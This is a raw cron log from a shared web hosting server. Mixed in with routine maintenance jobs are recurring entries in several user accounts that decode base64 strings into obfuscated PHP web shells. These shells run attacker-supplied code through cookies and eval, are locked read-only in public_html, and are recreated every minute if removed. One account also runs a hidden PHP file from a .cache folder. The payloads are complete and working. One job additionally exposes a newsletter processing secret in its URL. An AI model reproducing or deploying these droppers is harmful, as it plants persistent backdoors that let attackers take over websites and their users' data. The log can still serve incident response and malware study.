Apr 19 06:35:01 medusa CROND[31018]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:35:01 medusa CROND[31019]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:35:01 medusa CROND[31020]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:35:01 medusa CROND[31021]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:35:01 medusa CROND[31022]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:35:01 medusa CROND[31024]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:35:01 medusa CROND[31009]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 19 06:36:01 medusa CROND[22692]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:36:01 medusa CROND[22846]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 06:36:01 medusa CROND[22847]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:36:01 medusa CROND[22848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:36:01 medusa CROND[22849]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:36:01 medusa CROND[22850]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:36:01 medusa CROND[22851]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:36:01 medusa CROND[22852]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:36:01 medusa CROND[22853]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:36:01 medusa CROND[22854]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:36:01 medusa CROND[22855]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:36:01 medusa CROND[22857]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:36:01 medusa CROND[22858]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:36:01 medusa CROND[22864]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 06:37:02 medusa CROND[15177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:37:02 medusa CROND[15179]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:37:02 medusa CROND[15180]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:37:02 medusa CROND[15181]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:37:02 medusa CROND[15182]: (root) CMD (/nutscripts/cleanqueue.sh > /dev/null 2>&1)
Apr 19 06:37:02 medusa CROND[15183]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:37:02 medusa CROND[15187]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:37:02 medusa CROND[15189]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:37:02 medusa CROND[15190]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:37:02 medusa CROND[15193]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:37:02 medusa CROND[15184]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 06:37:02 medusa CROND[15194]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
